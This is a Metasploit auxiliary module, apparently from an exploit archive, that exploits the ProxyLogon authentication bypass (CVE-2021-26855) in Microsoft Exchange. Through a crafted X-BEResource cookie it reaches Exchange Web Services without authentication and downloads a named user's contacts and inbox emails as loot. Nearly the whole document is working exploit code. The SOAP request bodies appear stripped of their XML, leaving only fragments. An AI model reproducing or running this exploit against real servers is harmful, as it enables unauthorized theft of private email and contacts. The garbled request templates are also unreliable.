# Exploit Title: Microsoft Exchange 2019 - Unauthenticated Email Download (Metasploit) # Date: 2021-03-02 # Exploit Author: RAMELLA Sébastien # Vendor Homepage: https://microsoft.com # Version: This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012, Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010). # Tested on: Microsoft Windows 2012 R2 - Exchange 2016 ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # begin auxiliary class class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Microsoft Exchange ProxyLogon Collector', 'Description' => %q{ This module scan for a vulnerability on Microsoft Exchange Server that allows an attacker bypassing the authentication and impersonating as the admin (CVE-2021-26855). By chaining this bug with another post-auth arbitrary-file-write vulnerability to get code execution (CVE-2021-27065). As a result, an unauthenticated attacker can execute arbitrary commands on Microsoft Exchange Server. This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012, Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010). All components are vulnerable by default. }, 'Author' => [ 'mekhalleh (RAMELLA Sébastien)' # Module author (Zeop Entreprise) ], 'References' => [ ['CVE', '2021-26855'], ['LOGO', 'https://proxylogon.com/images/logo.jpg'], ['URL', 'https://proxylogon.com/'], ['URL', 'https://raw.githubusercontent.com/microsoft/CSS-Exchange/main/Security/http-vuln-cve2021-26855.nse'], ['URL', 'http://aka.ms/exchangevulns'] ], 'DisclosureDate' => '2021-03-02', 'License' => MSF_LICENSE, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true }, 'Notes' => { 'AKA' => ['ProxyLogon'] } ) ) register_options([ OptString.new('EMAIL', [true, 'The email account what you want dump']), OptString.new('FOLDER', [true, 'The email folder what you want dump', 'inbox']), OptString.new('SERVER_NAME', [true, 'The name of secondary internal Exchange server targeted']) ]) register_advanced_options([ OptInt.new('MaxEntries', [false, 'Override the maximum number of object to dump', 512]) ]) end XMLNS = { 't' => 'http://schemas.microsoft.com/exchange/services/2006/types' }.freeze def grab_contacts response = send_xml(soap_findcontacts) xml = Nokogiri::XML.parse(response.body) data = xml.xpath('//t:Contact', XMLNS) if data.empty? print_status(' - the user has no contacts') else write_loot(data.to_s) end end def grab_emails(total_count) # get the emails list of the target folder. response = send_xml(soap_maillist(total_count)) xml = Nokogiri::XML.parse(response.body) # iteration to download the emails. xml.xpath('//t:ItemId', XMLNS).each do |item| print_status(" - download item: #{item.values[1]}") response = send_xml(soap_download(item.values[0], item.values[1])) xml = Nokogiri::XML.parse(response.body) message = xml.at_xpath('//t:MimeContent', XMLNS).content write_loot(Rex::Text.decode_base64(message)) end end def send_xml(data) uri = normalize_uri('ecp', 'temp.js') received = send_request_cgi( 'method' => 'POST', 'uri' => uri, 'cookie' => "X-BEResource=#{datastore['SERVER_NAME']}/EWS/Exchange.asmx?a=~3;", 'ctype' => 'text/xml; charset=utf-8', 'data' => data ) fail_with(Failure::Unknown, 'Server did not respond in an expected way') unless received received end def soap_download(id, change_key) <<~SOAP IdOnly true SOAP end def soap_findcontacts <<~SOAP AllProperties #{datastore['EMAIL']} SOAP end def soap_mailnum <<~SOAP Default #{datastore['EMAIL']} SOAP end def soap_maillist(max_entries) <<~SOAP AllProperties #{datastore['EMAIL']} SOAP end def write_loot(data) loot_path = store_loot('', 'text/plain', datastore['RHOSTS'], data, '', '') print_good(" - file saved to #{loot_path}") end def run # get the informations about the targeted user account. response = send_xml(soap_mailnum) if response.body =~ /Success/ print_status('Connection to the server is successful') print_status(" - selected account: #{datastore['EMAIL']}\n") # grab contacts. print_status('Attempt to dump contacts list for this user') grab_contacts print_line # grab emails. print_status('Attempt to dump emails for this user') xml = Nokogiri::XML.parse(response.body) folder_id = xml.at_xpath('//t:FolderId', XMLNS).values print_status(" - selected folder: #{datastore['FOLDER']} (#{folder_id[0]})") total_count = xml.at_xpath('//t:TotalCount', XMLNS).content print_status(" - number of email found: #{total_count}") if total_count.to_i > datastore['MaxEntries'] print_warning(" - number of email recaluled due to max entries: #{datastore['MaxEntries']}") total_count = datastore['MaxEntries'].to_s end grab_emails(total_count) end end end